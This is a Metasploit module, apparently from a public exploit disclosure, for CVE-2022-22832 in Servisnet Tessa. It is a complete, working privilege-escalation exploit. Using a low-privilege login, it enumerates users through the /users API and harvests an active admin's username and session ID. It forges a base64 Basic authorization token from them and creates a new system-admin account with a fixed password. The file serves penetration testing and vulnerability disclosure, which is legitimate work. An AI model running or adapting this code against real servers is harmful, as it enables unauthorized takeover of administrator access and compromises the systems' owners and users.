##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Servisnet Tessa - Privilege Escalation (Metasploit)',
      'Description'    => %q(
        This module exploits privilege escalation in Servisnet Tessa, triggered by add new sysadmin user with any user authorization .
    An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response.
                The encrypted password information is included here, but privilage escelation is possible with the active sessionid value.

                var token = Buffer.from(`${user.username}:${user.usersessionid}`, 'utf8').toString('base64');

                The logic required for the Authorization header is as above.
                Therefore, after accessing an authorized user ID value and active sessionId value, 
                if the username and sessionId values are encoded with base64, a valid Token will be obtained and a new admin user can be added.    

      ),
      'References'     =>
        [
          [ 'CVE', 'CVE-2022-22832' ],
          [ 'URL', 'https://www.pentest.com.tr/exploits/Servisnet-Tessa-Privilege-Escalation.html' ],
          [ 'URL', 'http://www.servisnet.com.tr/en/page/products' ]
        ],
      'Author'         =>
        [
          'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "Dec 22 2021",
      'DefaultOptions' =>
        {
          'RPORT' => 443,
          'SSL'   => true
        }
    ))

    register_options([
  OptString.new('USERNAME',  [true, 'Servisnet Username']),
        OptString.new('PASSWORD',  [true, 'Servisnet Password']),
        OptString.new('TARGETURI',  [true, 'Base path for application', '/'])
    ])
  end
  # split strings to salt
  def split(data, string_to_split)  
    word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
    string = word.split('"]').join('').split('["').join('')
    return string
  end  
  # split JSONs to salt
  def splitJSON(data, string_to_split)  
    word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)
    string = word.split('"]').join('').split('["').join('')
    return string
  end 
  # split JSONs to salt none "
  def splitJSON2(data, string_to_split)  
    word = data.scan(/"#{string_to_split}":([\S\s]*?),/)[0]
    string = word.split('"]').join('').split('["').join('')
    return string
  end 

  def app_path
    res = send_request_cgi({
    # default.a.get( check 
      'uri'     => normalize_uri(target_uri.path, 'js', 'app.js'),
    'method'  => 'GET'
    })    
  
    if res && res.code == 200 && res.body =~ /baseURL/
      data = res.body
      #word = data.scan(/"#{string_to_split}"\] = "([\S\s]*?)"/)
      base_url = data.scan(/baseURL: '\/([\S\s]*?)'/)[0]  
      return base_url
    else
      fail_with(Failure::NotVulnerable, 'baseURL not found!')
    end
  end

  def add_user(token, app_path)
     newuser = Rex::Text.rand_text_alpha_lower(8)  
     id = Rex::Text.rand_text_numeric(4)   
     # encrypted password hxZ8I33nmy9PZNhYhms/Dg== / 1111111111
     json_data = '{"alarm_request": 1, "city_id": null, "city_name": null, "decryptPassword": null, "email": "' + newuser + '@localhost.local", "id": ' + id + ', "invisible": 0, "isactive": 1, "isblocked": 0, "levelstatus": 1, "local_authorization": 1, "mail_request": 1, "name": "' + newuser + '", "password": "hxZ8I33nmy9PZNhYhms/Dg==", "phone": null, "position": null, "region_name": "test4", "regional_id": 0, "role_id": 1, "role_name": "Sistem Admin", "rolelevel": 3, "status": null, "surname": "' + newuser + '", "totalRecords": null, "try_pass_right": 0, "userip": null, "username": "' + newuser + '", "userType": "Lokal Kullanıcı"}'

     res = send_request_cgi(
       {
       'method' => 'POST',
       'ctype'  => 'application/json',
       'uri' => normalize_uri(target_uri.path, app_path, 'users'),
       'headers' =>
         {
           'Authorization' => token
         },
       'data' => json_data
      })

      if res && res.code == 200 && res.body =~ /localhost/
        print_good("The sysAdmin authorized user has been successfully added.")
        print_status("Username: #{newuser}")
        print_status("Password: 1111111111")
      else
        fail_with(Failure::NotVulnerable, 'An error occurred while adding the user. Try again.')
      end
  end

  def sessionid_check

    res = send_request_cgi({
    # user.usersessionid check 
      'uri'     => normalize_uri(target_uri.path, 'js', 'app.js'),
    'method'  => 'GET'
    })    
  
    if res && res.code == 200 && res.body =~ /user.usersessionid/ 
          return Exploit::CheckCode::Vulnerable
  else
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
  end

  end

  def find_admin(token, userid, app_path)  

    res = send_request_cgi({
    # token check 
      'uri'     => normalize_uri(target_uri.path, app_path, 'users', userid),
      'headers' =>
         {
           'Authorization' => token
         },
      'method'  => 'GET'
    })     

    if not res && res.code == 200 && res.body =~ /usersessionid/
      fail_with(Failure::NotVulnerable, 'An error occurred while use Token. Try again.')
    end

    loopid = userid.to_i
    $i = 0
    # The admin userid must be less than the low-authority userid.
    while $i < loopid  do
      $i +=1
      res = send_request_cgi({
       # token check 
         'uri'     => normalize_uri(target_uri.path, app_path, 'users', $i),
         'headers' =>
            {
              'Authorization' => token
            },
         'method'  => 'GET'
       })  

       if res.code == 200 and res.body.include? '"Sistem Admin"' 
         admin_uname = splitJSON(res.body, 'username')
         admin_sessid = splitJSON(res.body, 'usersessionid') 
         admin_userid = splitJSON2(res.body, 'id')
         enc_token = Rex::Text.encode_base64('' + admin_uname + ':' + admin_sessid + '')
         token_admin = 'Basic ' + enc_token + ''
         print_good("Excellent! Admin user found.")
         print_good("Admin Username: #{admin_uname}")
         print_good("Admin SessionId: #{admin_sessid}")
         if session_check(token_admin, admin_userid, admin_uname) == "OK"
           break
         end
       end 
     end
  end

  def session_check(token, userid, user)   
  
      res = send_request_cgi({
       # session check 
         'uri'     => normalize_uri(target_uri.path, app_path, 'users', userid),
         'headers' =>
            {
              'Authorization' => token
            },
         'method'  => 'GET'
       })  

       if res && res.code == 200 && res.body =~ /managers_codes/
         print_good("Admin session is active.")
         add_user(token, app_path)
         return "OK"
       else
         print_status("Admin user #{user} is not online. Try again later.")
         return "NOT"
       end   
  end

  def login_check(user, pass)

     json_data = '{"username": "' + user + '", "password": "' + pass + '"}'

     res = send_request_cgi(
       {
       'method' => 'POST',
       'ctype'  => 'application/json',
       'uri' => normalize_uri(target_uri.path, app_path, 'api', 'auth', 'signin'),
       'data' => json_data
      })  
  
      if res && res.code == 200 && res.body =~ /usersessionid/
  sessid = splitJSON(res.body, 'usersessionid')
  userid = splitJSON2(res.body, 'id')
  print_status("Sessionid: #{sessid}")  
  print_status("Userid: #{userid}")
        enc_token = Rex::Text.encode_base64('' + user + ':' + sessid + '')
        token = 'Basic ' + enc_token + ''
  print_status("Authorization: #{token}")
        find_admin(token, userid, app_path)
 

      else
        fail_with(Failure::NotVulnerable, 'An error occurred while login. Try again.')
      end
  end

  def check   
  
    if sessionid_check 
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end
  
  def run
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    login_check(datastore['USERNAME'], datastore['PASSWORD'])    
  end
end